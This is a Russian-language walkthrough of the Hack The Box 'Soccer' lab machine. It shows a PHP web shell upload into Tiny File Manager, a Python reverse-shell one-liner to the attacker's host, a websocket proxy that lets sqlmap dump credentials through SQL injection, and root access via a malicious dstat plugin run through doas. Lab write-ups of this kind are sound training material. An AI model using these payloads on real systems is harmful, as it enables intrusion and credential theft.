Хакер - HTB Soccer. Повышаем привилегии в Linux через свой плагин для doas

Хакер - HTB Soccer. Повышаем привилегии в Linux через свой плагин для doas

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Продвижение
  • SQL injection
  • Локальное повышение привилегий

В этом рай­тапе я покажу, как написать вре­донос­ный пла­гин для doas — замены sudo, которая счи­тает­ся более безопас­ной. Но преж­де, чем будем зах­ватывать сис­тему, мы про­ник­нем в нее бла­года­ря RCE в Tiny File Manager, а затем напишем свой пла­гин для sqlmap, что­бы повысить при­виле­гии.

По­лиго­ном для всех этих упражне­ний нам пос­лужит тре­ниро­воч­ная машина Soccer с пло­щад­ки Hack The Box. Уро­вень ее слож­ности отме­чен как лег­кий.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.194 soccer.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ска­нер обна­ружил три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.2p1;
  • 80 — веб‑сер­вер Nginx 1.18.0;
  • 9091 — неиз­вес­тный веб‑сер­вер.

Порт 9091 пока загадо­чен для нас, SSH, как всег­да, оставля­ем до момен­та, ког­да мы зав­ладе­ем учет­ной записью, поэто­му оста­ется толь­ко изу­чать сайт, рас­положен­ный на пор­те 80.

Глав­ная стра­ница сай­та soccer.htb

Нас встре­чает сайт‑визит­ка. Пос­коль­ку никаких инте­рес­ных фун­кций у него нет, перей­дем к активно­му ска­ниро­ванию и попыта­емся выявить скры­тые фай­лы и катало­ги. 

ТОЧКА ВХОДА

Пер­вым делом ска­ниру­ем скры­тые катало­ги на веб‑сер­вере с помощью feroxbuster.

Справка: сканирование веба c feroxbuster

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearchDIRB или ffuf. Я пред­почитаю feroxbuster.

При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -u — URL;
  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -d — глу­бина ска­ниро­вания.

feroxbuster -u http://soccer.htb/ -w directory_2.3_medium_lowercase.txt -t 256

Ре­зуль­тат ска­ниро­вания катало­гов

На стра­нице /tiny нас встре­чает стра­ница авто­риза­ции Tiny File Manager.

Стра­ница авто­риза­ции Tiny File Manager

На вики‑стра­нице Security and User Management находим учет­ные дан­ные, выс­тавля­емые по умол­чанию:

admin : admin@123

user : 12345

Учет­ные дан­ные по умол­чанию для Tiny File Manager

По­вез­ло! Авто­ризу­емся с учет­ной записью admin и получа­ем дос­туп к фай­ловому менед­жеру.

Глав­ная стра­ница фай­лового менед­жера

Мы раз­добыли какие‑то фай­лы, но нам нуж­ны не они, а дос­туп к сис­теме. Поп­робу­ем поис­кать готовые экс­пло­иты для Tiny File Manager, бла­го вер­сия ука­зана — 2.4.3.

Пер­вая же ссыл­ка в Google сооб­щает нам о том, что есть RCE через заг­рузку фай­ла.

По­иск экс­пло­итов в Google

ТОЧКА ОПОРЫ

Ска­ниро­вание катало­гов показа­ло, что сущес­тву­ет каталог uploads. Заг­рузим туда самый прос­той веб‑шелл.

<?php system($_GET['cmd'])?>

Заг­рузка фай­ла
Лис­тинг дирек­тории /uploads

Файл заг­ружен, поэто­му можем про­верить его работу, выпол­нив коман­ду id.

curl 'http://soccer.htb/tiny/uploads/shell.php?cmd=id'

Ре­зуль­тат выпол­нения коман­ды id

Те­перь запус­тим реверс‑шелл на Python 3.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.78",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("sh")'

Справка: реверс-шелл

Об­ратный шелл — это под­клю­чение, которое акти­виру­ет ата­куемая машина, а мы при­нима­ем и таким обра­зом под­клю­чаем­ся к ней, что­бы выпол­нять коман­ды от лица поль­зовате­ля, запус­тивше­го шелл. Для при­ема соеди­нения необ­ходимо соз­дать на локаль­ной машине listener, то есть «слу­шатель».

Его под­клю­чение будем ловить на лис­тенер:

pwncat-cs -lp 4321

По­луче­ние новой сес­сии

ПРОДВИЖЕНИЕ

Те­перь нам необ­ходимо соб­рать информа­цию. Для это­го вос­поль­зуем­ся PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате и выда­ют под­робный отчет о потен­циаль­но инте­рес­ных фай­лах, про­цес­сах и нас­трой­ках.

Заг­рузим на хост скрипт для Linux, дадим пра­во на выпол­нение и запус­тим ска­ниро­вание. В выводе будет мно­го информа­ции, поэто­му отбе­рем толь­ко зна­чимую.

Из фай­ла /etc/hosts узна­ем о еще одном под­домене — soc-player.soccer.htb.

Ин­форма­ция о сети

Сре­ди откры­тых пор­тов отме­чаем порт 3306, на котором работа­ет служ­ба mysql.

От­кры­тые пор­ты

Флаг находит­ся у поль­зовате­ля player, поэто­му прод­вигать­ся нам нуж­но к нему.

Фай­лы в катало­гах дру­гих поль­зовате­лей

Сре­ди «нерод­ных» фай­лов сис­темы при­сутс­тву­ет doas.

Фай­лы, веро­ятно добав­ленные поль­зовате­лем

До­бав­ляем новый най­ден­ный под­домен в файл /etc/hosts сво­его хос­та и смот­рим новый сайт.

10.10.11.194 soccer.htb soc-player.soccer.htb

Глав­ная стра­ница сай­та soc-player.soccer.htb

Пос­ле регис­тра­ции и авто­риза­ции нам откры­вает­ся фун­кция бро­ниро­вания билета на матч.

Фор­ма бро­ниро­вания билета

От­меча­ем уже прис­воен­ный ID билета (над полем вво­да). Пос­ле вво­да это­го ID получа­ем ответ, что билет сущес­тву­ет. В Burp History зап­роса не находим, но зато появ­ляют­ся сооб­щения в исто­рии веб‑сокетов, где мы и обна­ружи­ваем наш зап­рос и ответ.

Зап­рос билета
Зап­рос на сер­вер
От­вет сер­вера

Так как на хос­те работа­ет СУБД, про­веря­ем нес­коль­кими наг­рузка­ми для SQL-инъ­екций параметр id, и одна из наг­рузок дает резуль­тат.

{

"id":"-1 or 1=1 -- -"

}

Зап­рос с наг­рузкой

SQL injection

Что­бы авто­мати­зиро­вать и уско­рить эксфиль­тра­цию дан­ных из базы, мож­но исполь­зовать sqlmap. Для это­го нуж­но будет написать прок­си‑сер­вер, который будет при­нимать зап­росы HTTP и отправ­лять их на уда­лен­ный сер­вер через веб‑сокет. Откро­ем исходный код сай­та и най­дем URL, куда пос­тупа­ют зап­росы через веб‑сокеты.

Ис­ходный код стра­ницы /check

Те­перь реали­зуем наш прок­си‑сер­вер.

from http.server import SimpleHTTPRequestHandler

from socketserver import TCPServer

from urllib.parse import unquote, urlparse

from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091"

def send_ws(payload):

ws = create_connection(ws_server)

message = unquote(payload).replace('"',''')

data = '{"id":"%s"}' % message

ws.send(data)

resp = ws.recv()

ws.close()

if resp:

return resp

else:

return ''

def middleware_server(host_port,content_type="text/plain"):

class CustomHandler(SimpleHTTPRequestHandler):

def do_GET(self) -> None:

self.send_response(200)

try:

payload = urlparse(self.path).query.split('=',1)[1]

except IndexError:

payload = False

if payload:

content = send_ws(payload)

else:

content = 'No parameters specified!'

self.send_header("Content-type", content_type)

self.end_headers()

self.wfile.write(content.encode())

return

class _TCPServer(TCPServer):

allow_reuse_address = True

httpd = _TCPServer(host_port, CustomHandler)

httpd.serve_forever()

print("[+] Starting MiddleWare Server")

print("[+] Send payloads in http://localhost:8081/?id=*")

try:

middleware_server(('0.0.0.0',8081))

except KeyboardInterrupt:

pass

За­пуск прок­си‑сер­вера

Те­перь запус­каем sqlmap, ука­зав адрес прок­си‑сер­вера:

http://localhost:8081/?id=

И выбира­ем рабочую тех­нику Boolean Based.

sqlmap -u 'http://localhost:8081/?id=54172' --technique B --level 5 --risk 3

Оп­ределе­ние наг­рузки sqlmap

Sqlmap опре­делил рабочую наг­рузку, теперь мы можем получить спи­сок баз дан­ных (параметр --dbs).

sqlmap -u 'http://localhost:8081/?id=54172' --technique B --level 5 --risk 3 --dbs

Су­щес­тву­ющие базы дан­ных

Нам инте­рес­на база дан­ных soccer_db, узна­ем, какие таб­лицы она содер­жит (параметр --tables).

sqlmap -u 'http://localhost:8081/?id=54172' --technique B --level 5 --risk 3 -D soccer_db --tables

В базе все­го одна таб­лица с говоря­щим наз­вани­ем accounts, получим из нее все дан­ные (параметр --dump).

Таб­лицы в базе soccer_db

sqlmap -u 'http://localhost:8081/?id=54172' --technique B --level 5 --risk 3 -D soccer_db -T accounts --dump

Дан­ные таб­лицы accounts

По­лучен­ный пароль мож­но исполь­зовать для авто­риза­ции по SSH.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Ра­нее мы наш­ли doas, взгля­нем на его нас­трой­ки:

cat /usr/local/etc/doas.conf

Со­дер­жимое фай­ла doas.conf

Эта строч­ка зна­чит, что поль­зователь player без вво­да пароля может от име­ни поль­зовате­ля root запус­тить коман­ду /usr/bin/dstat. Про dstat под­робно почитать мож­но в до­кумен­тации. Там же находим и информа­цию о пла­гинах dstat, которые стар­туют при запус­ке самого dstat.

Пла­гин дол­жен пред­став­лять собой скрипт на Python dstat_*.py, рас­положен­ный в одном из сле­дующих катало­гов.

Ка­тало­ги для пла­гинов dstat

По­оче­ред­но про­веря­ем эти катало­ги и находим, что у груп­пы player, где мы и сос­тоим, есть пра­во записи в один из них:

/usr/local/share/dstat

Со­дер­жимое катало­га /usr/local/share/

В най­ден­ном катало­ге соз­дадим пла­гин dstat_ralf.py, который прос­то запус­тит коман­дную обо­лоч­ку /bin/bash.

import os

os.system('/bin/bash')

Те­перь прос­мотрим спи­сок пла­гинов и най­дем свой.

dstat --list

Спи­сок пла­гинов dstat

А теперь запус­каем свой пла­гин от име­ни поль­зовате­ля root, что дает нам при­виле­гиро­ван­ную коман­дную обо­лоч­ку.

doas -u root /usr/bin/dstat --ralf

Флаг рута

Мы получи­ли флаг рута, а зна­чит, машина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page